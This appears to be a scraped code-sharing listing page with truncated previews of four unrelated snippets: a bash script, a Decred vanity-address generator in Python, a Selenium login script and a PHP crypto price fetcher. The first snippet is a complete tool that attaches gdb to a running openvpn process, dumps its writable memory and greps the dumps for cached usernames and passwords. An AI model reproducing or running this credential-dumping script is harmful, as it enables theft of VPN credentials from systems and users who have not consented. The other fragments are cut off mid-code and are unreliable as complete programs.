This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# This little hack-job will grab credentials from a running openvpn process in Linux | |
# Keep in mind this won't work if the user used the --auth-nocache flag | |
grep rw-p /proc/$1/maps | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' | while read start stop; do gdb --batch-silent --silent --pid $1 -ex "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; done | |
echo "Your credentials should be listed below as username/password" | |
strings *.dump | grep -B2 KnOQ | grep -v KnOQ | |
rm *.dump --force |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import subprocess | |
import os | |
import time | |
out = "out.txt" # The address, seed, private key output in out.txt | |
store = "store.txt" # the text file that will store all the generated address details | |
genex = "dcraddrgen.exe" # put the direct path link to the exe if its not in the same directory as the python code | |
req = "DsRick" # put your own name in place of 'Rick' (Make it less than 5 chars. should take lesser time | |
size = len(req) | |
got = False |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from selenium import webdriver | |
from selenium.common.exceptions import NoSuchElementException | |
from selenium.webdriver.common.keys import Keys | |
import socket | |
import time | |
REMOTE_SERVER = "www.google.com" | |
login = 'http://192.168.183.201:9089/SEBS/Login.jsp' | |
def connect_it(): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$dcrurl = "https://bittrex.com/api/v1.1/public/getmarketsummary?market=btc-dcr"; | |
$usdurl = "https://bitpay.com/api/rates"; | |
$dcrjson = file_get_contents($dcrurl); | |
$dcrdata = json_decode($dcrjson, TRUE); | |
$usdjson = file_get_contents($usdurl); | |
$usddata = json_decode($usdjson, TRUE); |